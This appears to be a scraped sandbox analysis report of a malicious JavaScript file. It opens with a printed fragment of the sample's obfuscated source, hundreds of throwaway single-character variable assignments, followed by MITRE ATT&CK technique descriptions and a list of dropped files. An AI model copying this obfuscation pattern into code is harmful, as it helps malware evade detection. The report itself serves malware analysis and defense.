70	rnwmcuni = "P";
71	rnwmcuni = "z";
72	rnwmcuni = "-";
73	gevpvmxd = "d";
74	gevpvmxd = "D";
75	gevpvmxd = "e";
76	gevpvmxd = "O";
77	gevpvmxd = "j";
78	gevpvmxd = "e";
79	rrqgmc = "c";
80	rrqgmc = "L";
81	rrqgmc = "u";
82	rrqgmc = "u";
83	rrqgmc = "X";
84	rrqgmc = "b";
85	rrqgmc = "r";
86	rrqgmc = "X";
87	rrqgmc = "r";
88	rrqgmc = ":";
89	olpwwyxg = "J";
90	olpwwyxg = "x";
91	olpwwyxg = "L";
92	olpwwyxg = "B";
93	olpwwyxg = "Y";
94	olpwwyxg = "u";
95	olpwwyxg = "W";
96	zqxkuu = "S";
97	zqxkuu = "F";
98	zqxkuu = "s";
99	zqxkuu = "F";
100	zqxkuu = "J";
101	zqxkuu = "y";
102	zqxkuu = "l";
103	zqxkuu = "p";
104	zqxkuu = "q";
105	zqxkuu = "Q";
106	jwmlzuvra = "v";
107	jwmlzuvra = "D";
108	jwmlzuvra = "w";
109	jwmlzuvra = "W";
110	jwmlzuvra = "P";
111	jwmlzuvra = "7";
112	ngqkvl = "T";
113	ngqkvl = "d";
114	ngqkvl = "s";
115	ngqkvl = "j";
116	ngqkvl = "v";
117	ngqkvl = "Q";
118	ngqkvl = "A";
119	ngqkvl = "N";
120	fntjtsvvi = "r";
121	fntjtsvvi = "t";
122	fntjtsvvi = "H";
123	fntjtsvvi = "G";
124	fntjtsvvi = "B";
125	fntjtsvvi = "B";
126	fntjtsvvi = "i";
127	fntjtsvvi = "M";
128	fntjtsvvi = "w";
129	kcwnettce = "b";
130	kcwnettce = "D";
131	kcwnettce = "P";
132	kcwnettce = "o";
133	kcwnettce = "b";
134	kcwnettce = "C";
135	kcwnettce = "O";
136	kcwnettce = "R";
137	kcwnettce = "J";
138	kcwnettce = "H";
139	rxynfrn = "G";
140	rxynfrn = "E";
141	rxynfrn = "n";
142	rxynfrn = "s";
143	rxynfrn = "T";
144	rxynfrn = "j";
145	rxynfrn = "3";
146	cowgkyid = "n";
147	cowgkyid = "f";
148	cowgkyid = "N";
149	cowgkyid = "z";
150	cowgkyid = "t";
151	cowgkyid = "w";
152	cowgkyid = "B";
153	cowgkyid = "C";
154	gzotjli = "x";
155	gzotjli = "U";
156	gzotjli = "O";
157	gzotjli = "B";
158	gzotjli = "K";
159	gzotjli = "q";
160	gzotjli = "n";
161	yafyp = "R";
162	yafyp = "p";
163	yafyp = "E";
164	yafyp = "X";
165	yafyp = "v";
166	yafyp = "T";
167	yafyp = "D";
168	yafyp = "U";
169	mscqba = "Y";
170	mscqba = "H";
171	mscqba = "p";
172	mscqba = "O";
173	mscqba = "C";
174	mscqba = "P";
175	mscqba = "u";
176	mscqba = "g";
177	mscqba = "q";
178	mzgih = "t";
179	mzgih = "m";
180	mzgih = "Z";
181	mzgih = "O";
182	mzgih = "p";
183	mzgih = "H";
184	mzgih = "f";
185	mzgih = "s";
186	mzgih = "2";
187	nnmjsurl = "h";
188	nnmjsurl = "S";
189	nnmjsurl = "D";
190	nnmjsurl = "d";
191	nnmjsurl = "O";
192	nnmjsurl = "b";
193	nnmjsurl = "G";
194	nnmjsurl = "T";
195	nnmjsurl = "y";
196	nnmjsurl = "0";
197	bwfnh = "f";
198	bwfnh = "d";
199	bwfnh = "v";
200	bwfnh = "D";
201	bwfnh = "e";
202	bwfnh = "a";
203	hpwshba = "d";
204	hpwshba = "P";
205	hpwshba = "i";
206	hpwshba = "M";
207	hpwshba = "V";
208	hpwshba = "V";
209	hpwshba = "c";
210	olwpp = "B";
211	olwpp = "c";
212	olwpp = "A";
213	olwpp = "J";
214	olwpp = "i";
215	olwpp = "r";
216	olwpp = "O";
217	olwpp = "L";
218	olwpp = "e";
219	olwpp = "5";
220	gploat = "R";
221	gploat = "M";
222	gploat = "Z";
223	gploat = "F";
224	gploat = "W";
225	gploat = "M";
226	gploat = "b";
227	autjyn = "V";
228	autjyn = "O";
229	autjyn = "r";
230	autjyn = "i";
231	autjyn = "Q";
232	autjyn = "l";
233	autjyn = "F";
234	autjyn = "b";
235	autjyn = "S";
236	slbihthmf = "F";
237	slbihthmf = "e";
238	slbihthmf = "u";
239	slbihthmf = "c";
240	slbihthmf = "e";
241	slbihthmf = "h";
242	slbihthmf = "Z";
243	slbihthmf = "Z";
244	slbihthmf = "4";
245	eoylmcqkf = "x";
246	eoylmcqkf = "D";
247	eoylmcqkf = "M";
248	eoylmcqkf = "U";
249	eoylmcqkf = "w";
250	eoylmcqkf = "j";
251	eoylmcqkf = "t";
252	hmbcjpm = "Z";
253	hmbcjpm = "y";
254	hmbcjpm = "M";
255	hmbcjpm = "Q";
256	hmbcjpm = "S";
257	hmbcjpm = "w";
258	hmbcjpm = "Z";
259	hmbcjpm = "v";
260	hmbcjpm = "1";
261	rzunwzkiy = "o";
262	rzunwzkiy = "y";
263	rzunwzkiy = "p";
264	rzunwzkiy = "t";
265	rzunwzkiy = "M";
266	rzunwzkiy = "u";
267	rzunwzkiy = "G";
268	rzunwzkiy = "w";
269	rzunwzkiy = "j";
270	sctfvh = "s";
271	sctfvh = "n";
272	sctfvh = "s";
273	sctfvh = "C";
274	sctfvh = "i";
275	sctfvh = "Y";
276	sctfvh = "s";
277	sctfvh = "Y";
278	emwvmdvbi = "i";
279	emwvmdvbi = "l";
280	emwvmdvbi = "E";
281	emwvmdvbi = "c";
282	emwvmdvbi = "X";
283	emwvmdvbi = "g";
284	emwvmdvbi = "Y";
285	emwvmdvbi = "d";
286	jobqaxld = "I";
287	jobqaxld = "g";
288	jobqaxld = "p";
289	jobqaxld = "v";
290	jobqaxld = "E";
291	jobqaxld = "P";
292	jobqaxld = "g";
293	jobqaxld = "B";
294	jobqaxld = "p";
295	dalkn = "G";
296	dalkn = "t";
297	dalkn = "S";
298	dalkn = "W";
299	dalkn = "e";
300	dalkn = "n";
301	dalkn = "d";
302	dalkn = "U";
303	dalkn = "K";
304	lgqhyxg = "A";
305	lgqhyxg = "V";
306	lgqhyxg = "o";
307	lgqhyxg = "Y";
308	lgqhyxg = "g";
309	lgqhyxg = "l";
310	lgqhyxg = "l";
311	lgqhyxg = "L";
312	tqktjep = "t";
313	tqktjep = "R";
314	tqktjep = "y";
315	tqktjep = "i";
316	tqktjep = "X";
317	tqktjep = "y";
318	tqktjep = "D";
319	tqktjep = "Z";
320	tqktjep = "F";
321	tqktjep = "6";
322	yeilg = "v";
323	yeilg = "m";
324	yeilg = "H";
325	yeilg = "q";
326	yeilg = "D";
327	yeilg = "G";
328	yeilg = "V";
329	yeilg = "G";
330	yeilg = "\"";
331	sckuqdhbh = "I";
332	sckuqdhbh = "m";
333	sckuqdhbh = "n";
334	sckuqdhbh = "m";
335	sckuqdhbh = "c";
336	sckuqdhbh = "T";
337	jfyjsp = "Z";
338	jfyjsp = "K";
339	jfyjsp = "d";
340	jfyjsp = "o";
341	jfyjsp = "y";
342	jfyjsp = "s";
343	jfyjsp = "F";
344	askomgs = "H";
345	askomgs = "I";
346	askomgs = "I";
347	askomgs = "Z";
348	askomgs = "r";
349	askomgs = "a";
350	askomgs = "S";
351	askomgs = "&";
352	rnsjh = "u";
353	rnsjh = "d";
354	rnsjh = "U";
355	rnsjh = "O";
356	rnsjh = "W";
357	rnsjh = "k";
358	rnsjh = "c";
359	rnsjh = "u";
360	srymr = "P";
361	srymr = "j";
362	srymr = "b";
363	srymr = "M";
364	srymr = "q";
365	srymr = "g";
366	jbqmqco = "B";
367	jbqmqco = "t";
368	jbqmqco = "J";
369	jbqmqco = "X";
370	jbqmqco = "G";
371	jbqmqco = "R";
372	sdxjasjgg = "f";
373	sdxjasjgg = "Z";
374	sdxjasjgg = "G";
375	sdxjasjgg = "M";
376	sdxjasjgg = "R";
377	sdxjasjgg = "g";
378	sdxjasjgg = "R";
379	sdxjasjgg = "X";
380	sdxjasjgg = "_";
381	ujkjlx = "Q";
382	ujkjlx = "n";
383	ujkjlx = "I";
384	ujkjlx = "J";
385	ujkjlx = "h";
386	ujkjlx = "I";
387	ujkjlx = "E";
388	ujkjlx = "I";
389	ujkjlx = "I";
390	zybgaum = "i";
391	zybgaum = "y";
392	zybgaum = "J";
393	zybgaum = "N";
394	zybgaum = "m";
395	zybgaum = "r";
396	lubrahv = "s";
397	lubrahv = "m";
398	lubrahv = "Y";
399	lubrahv = "A";
400	lubrahv = "l";
401	lubrahv = "s";
402	lubrahv = "J";
403	lubrahv = "c";
404	lubrahv = "/";
405	jyzdlchas = "c";
406	jyzdlchas = "H";
407	jyzdlchas = "t";
408	jyzdlchas = "i";
409	jyzdlchas = "X";
410	jyzdlchas = "G";
411	jyzdlchas = "o";
412	jyzdlchas = "Z";
413	jyzdlchas = "t";
414	jyzdlchas = "h";
415	ljkug = "N";
416	ljkug = "J";
417	ljkug = "C";
418	ljkug = "M";
419	ljkug = "x";
420	ljkug = "s";
421	ljkug = "q";
422	ljkug = "f";
423	ljkug = "X";
424	ljkug = "P";
425	lgprihwgy = "f";
426	lgprihwgy = "h";
427	lgprihwgy = "w";
428	lgprihwgy = "U";
429	lgprihwgy = "U";
430	lgprihwgy = "A";
431	lgprihwgy = "v";
432	lgprihwgy = "X";
433	lgprihwgy = "k";
434	lgprihwgy = "k";
435	zradfrzs = "u";
436	zradfrzs = "w";
437	zradfrzs = "a";
438	zradfrzs = "U";
439	zradfrzs = "s";
440	zradfrzs = "%";
441	gomup = "H";
442	gomup = "S";
443	gomup = "Q";
444	gomup = "m";
445	gomup = "N";
446	gomup = "S";
447	gomup = "Q";
448	gomup = "y";
449	gomup = "l";
450	etuizfsmv = "Z";
451	etuizfsmv = "V";
452	etuizfsmv = "h";
453	etuizfsmv = "t";
454	etuizfsmv = "W";
455	etuizfsmv = "Q";
456	etuizfsmv = "w";
457	etuizfsmv = "m";
458	qnjuwkp = "k";
459	qnjuwkp = "C";
460	qnjuwkp = "w";
461	qnjuwkp = "u";
462	qnjuwkp = "q";
463	qnjuwkp = "v";
464	qnsaqqhre = "Z";
465	qnsaqqhre = "Z";
466	qnsaqqhre = "n";
467	qnsaqqhre = "B";
468	qnsaqqhre = "K";
469	qnsaqqhre = "a";
470	qnsaqqhre = "J";
471	qnsaqqhre = "J";
472	qnsaqqhre = "@";
473	timkpkwaf = "B";
474	timkpkwaf = "Q";
475	timkpkwaf = "k";
476	timkpkwaf = "D";
477	timkpkwaf = "A";
478	timkpkwaf = "U";
479	timkpkwaf = "L";
480	timkpkwaf = "g";
481	timkpkwaf = "i";
482	htiplh = "p";
483	htiplh = "H";
484	htiplh = "X";
485	htiplh = "y";
486	htiplh = "u";
487	htiplh = "i";
488	htiplh = "E";
489	htiplh = "c";
490	htiplh = "D";
491	htiplh = " ";
492	wqmzxze = "C";
493	wqmzxze = "e";
494	wqmzxze = "H";
495	wqmzxze = "L";
496	wqmzxze = "L";
497	wqmzxze = "d";
498	wqmzxze = "l";
499	wqmzxze = "b";
500	wqmzxze = "8";
501	dyful = "L";
502	dyful = "Z";
503	dyful = "A";
504	dyful = "E";
505	dyful = "e";
506	dyful = "E";
507	hlpigjzg ( );	hlpigjzg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1579614525244583223.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\675a5050-f2dc-4776-8f29-a5ce3ddb9a7d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
1579614525244583223.js